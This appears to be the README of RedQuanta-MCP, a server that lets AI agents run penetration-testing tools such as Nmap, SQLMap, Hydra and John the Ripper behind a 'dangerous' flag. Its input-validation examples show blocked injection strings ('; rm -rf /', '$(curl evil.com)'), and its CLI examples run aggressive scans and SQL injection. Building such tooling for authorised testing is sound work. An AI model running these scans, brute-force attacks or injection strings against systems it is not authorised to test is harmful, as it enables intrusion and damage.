RedQuanta-MCP

• 🎯 Nmap - Advanced network discovery with NSE script support
• ⚡ Masscan - High-speed Internet-scale port scanning
• 📊 Custom Profiles - Stealth, aggressive, and balanced scanning modes

{
  "tool": "nmap_scan",
  "parameters": {
    "target": "192.168.1.0/24",
    "custom_flags": ["-sS", "-O", "--script", "vuln"],
    "profile": "aggressive",
    "dangerous": true
  }
}

• 🚀 FFUF - Fast web fuzzing with intelligent filtering
• 🔍 Gobuster - Directory and DNS enumeration
• 🛡️ Nikto - Comprehensive web vulnerability scanning
• 💉 SQLMap - Advanced SQL injection testing (dangerous mode)

{
  "tool": "ffuf_fuzz",
  "parameters": {
    "url": "https://target.com/FUZZ",
    "wordlist": "/opt/wordlists/common.txt",
    "custom_headers": {"Authorization": "Bearer token123"},
    "threads": 200
  }
}

• 🔓 John the Ripper - Advanced password cracking with format detection
• 🌊 Hydra - Network service brute forcing with intelligent throttling
• ⚖️ Ethical Controls - Explicit --dangerous flag required

• 🔄 Workflow Enum - Automated reconnaissance workflows
• 🔍 Workflow Scan - Multi-phase vulnerability assessment
• 📄 Workflow Report - Professional report generation
• 🧠 Adaptive Coaching - Beginner guidance or expert-level output

• 📁 Filesystem Ops - Secure file management with jailed execution
• ⚙️ Command Runner - Sanitized command execution with audit trails
• 🔌 Plugin System - Dynamic custom tool loading with hot reload

// Example: SSL Analyzer Plugin
/**
 * @plugin {
 *   "name": "ssl_analyzer",
 *   "version": "1.0.0",
 *   "category": "web",
 *   "dangerLevel": "safe"
 * }
 */
export default class SSLAnalyzerTool extends ToolWrapper {
  async execute(options) {
    // Real SSL analysis implementation
    const results = await this.performSSLAnalysis(options.target);
    return {
      success: true,
      data: results,
      recommendations: this.generateRecommendations(results)
    };
  }
}

Plugin Features:

• 🔄 Hot Reloading - Add tools without server restart
• 📝 Manifest Support - JSON-based configuration
• 🏷️ Custom Categories - Organize by security domain
• 🛡️ Safety Controls - Danger level validation

// SARIF 2.1.0 compliant output
{
  "version": "2.1.0",
  "$schema": "https://json.schemastore.org/sarif-2.1.0.json",
  "runs": [{
    "tool": {
      "driver": {
        "name": "RedQuanta MCP",
        "version": "0.3.0",
        "rules": [...]
      }
    },
    "results": [{
      "ruleId": "nmap-open-port",
      "level": "warning",
      "message": { "text": "Open SSH port detected" },
      "locations": [{
        "physicalLocation": {
          "artifactLocation": { "uri": "192.168.1.10:22" }
        }
      }]
    }]
  }]
}

Reporting Features:

• 📊 Multiple Formats - SARIF, JSON, HTML, PDF
• 🔄 Baseline Comparison - Track security improvements over time
• 🏷️ GitHub Annotations - Direct PR/commit integration
• 🧪 JUnit Output - CI/CD test reporting

// Real-time progress updates
tracker.startExecution('nmap_scan', parameters);
tracker.updateProgress(executionId, 25, 'Host discovery phase');
tracker.startPhase(executionId, 'port_scanning');
tracker.completeExecution(executionId, results);

Progress Features:

• 📊 Multi-phase Tracking - Detailed execution phases
• 🔄 Real-time Updates - Event-driven monitoring
• 📈 Performance Metrics - Execution time and resource usage

// Tool-specific caching strategies
const cacheOptions = {
  'nmap_scan': { ttl: 600000 },     // 10 minutes
  'ffuf_fuzz': { ttl: 1800000 },    // 30 minutes  
  'nikto_scan': { ttl: 3600000 },   // 1 hour
  'john_crack': { ttl: 7200000 }    // 2 hours
};

// Performance improvements
const stats = cacheManager.getStats();
// { hits: 150, misses: 23, hitRate: 0.87 }

Caching Features:

• ⚡ 20x Faster - Repeat operations from cache
• 🧠 LRU Eviction - Intelligent memory management
• 🏷️ Tag-based Invalidation - Selective cache clearing

// All file operations are jailed and validated
const pathGuard = new PathGuard('/opt/redquanta/vol');

// Safe operations
pathGuard.validatePath('/etc/passwd');     // ❌ Blocked
pathGuard.validatePath('../../../etc');    // ❌ Blocked  
pathGuard.validatePath('reports/scan.xml'); // ✅ Allowed

// Advanced argument sanitization
const argGuard = new ArgGuard();

// Dangerous inputs blocked
argGuard.validateArgs(['target.com', '; rm -rf /']);     // ❌ Blocked
argGuard.validateArgs(['$(curl evil.com)']);             // ❌ Blocked
argGuard.validateArgs(['192.168.1.1', '-sS']);          // ✅ Allowed

// JSONL audit trail for all operations
{
  "timestamp": "2024-01-15T10:30:00Z",
  "level": "info", 
  "action": "tool_execution",
  "tool": "nmap_scan",
  "target": "192.168.1.0/24",
  "user": "security_analyst",
  "dangerous": false,
  "outcome": "success",
  "duration": 45230
}

Operations requiring explicit --dangerous authorization:

• 🔓 Password Cracking - John the Ripper operations
• 🌊 Brute Force Attacks - Hydra network service testing
• 💉 SQL Injection - SQLMap exploitation modules
• 📝 File System Writes - Modifying files in jail
• 💥 Exploitation - Active security testing

# 1. Clone repository
git clone https://github.com/sc4rfurry/RedQuanta-MCP.git
cd RedQuanta-MCP

# 2. Run automated setup
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
.\scripts\setup-windows.ps1

# 3. Start server
.\start-windows.bat

# 1. Clone repository  
git clone https://github.com/sc4rfurry/RedQuanta-MCP.git
cd RedQuanta-MCP

# 2. Install dependencies
pnpm install

# 3. Build project
pnpm build

# 4. Setup jail root
sudo mkdir -p /opt/redquanta/vol
sudo chown $USER:$USER /opt/redquanta/vol

# 5. Start server
pnpm start

# Quick start with Docker Compose
docker-compose up -d

# Custom configuration
docker run -d \
  -p 5891:5891 \
  -v ./config:/app/config \
  -e DANGEROUS_MODE=false \
  sc4rfurry/redquanta-mcp:latest

# Windows
.\redquanta-cli.bat doctor

# Linux/macOS  
pnpm cli doctor

# Expected output:
✅ Node.js version: 20.11.0
✅ Security tools available: 12/16
✅ Jail root accessible: /opt/redquanta/vol
✅ Configuration valid
✅ Audit logging functional
⚠️  Nikto not found (will use Docker fallback)
🛡️ Dangerous mode: DISABLED (use --dangerous to enable)

# List available tools
redquanta-cli tools

# Output:
🌐 Network Tools:
  • nmap_scan - Network discovery and port scanning
  • masscan_scan - High-speed port scanning
  
🌐 Web Tools:  
  • ffuf_fuzz - Fast web fuzzing
  • gobuster_scan - Directory enumeration
  • nikto_scan - Web vulnerability scanning
  
🔐 Password Tools:
  • john_crack - Password cracking (⚠️ dangerous)
  • hydra_bruteforce - Network brute force (⚠️ dangerous)

🤖 Workflow Tools:
  • workflow_enum - Automated enumeration
  • workflow_scan - Vulnerability scanning
  • workflow_report - Report generation

# Basic network scan
redquanta-cli enum 192.168.1.0/24

# Advanced network enumeration  
redquanta-cli enum 192.168.1.0/24 --scope network --depth aggressive

# Custom Nmap scan
redquanta-cli nmap 192.168.1.10 --custom-flags "-sS,-O,--script,vuln" --dangerous

Expected Workflow:

1. 🎯 Host Discovery - Ping sweep to find live hosts
2. 🔍 Port Scanning - TCP connect scan on discovered hosts
3. 🛡️ Service Enumeration - Version detection and banner grabbing
4. 📊 Report Generation - Structured output with recommendations

# Web application enumeration
redquanta-cli ffuf https://target.com/FUZZ --wordlist /opt/wordlists/common.txt

# Comprehensive web assessment
redquanta-cli scan https://target.com --type web --include nikto,ffuf --dangerous

# SQL injection testing (requires --dangerous)
redquanta-cli sqlmap "https://target.com/login?id=1" --dangerous --confirm

apiVersion: apps/v1
kind: Deployment
metadata:
  name: redquanta-mcp
spec:
  replicas: 3
  selector:
    matchLabels:
      app: redquanta-mcp
  template:
    metadata:
      labels:
        app: redquanta-mcp
    spec:
      containers:
      - name: redquanta-mcp
        image: sc4rfurry/redquanta-mcp:latest
        ports:
        - containerPort: 5891
        env:
        - name: NODE_ENV
          value: "production"
        - name: JAIL_ROOT
          value: "/opt/redquanta/vol"
        resources:
          requests:
            memory: "1Gi"
            cpu: "500m"
          limits:
            memory: "2Gi"
            cpu: "1000m"

# 1. Fork and clone
git clone https://github.com/sc4rfurry/RedQuanta-MCP.git
cd RedQuanta-MCP

# 2. Install dependencies
pnpm install

# 3. Run in development mode
pnpm dev

# 4. Run tests
pnpm test

# 5. Code quality checks
pnpm lint:fix
pnpm type-check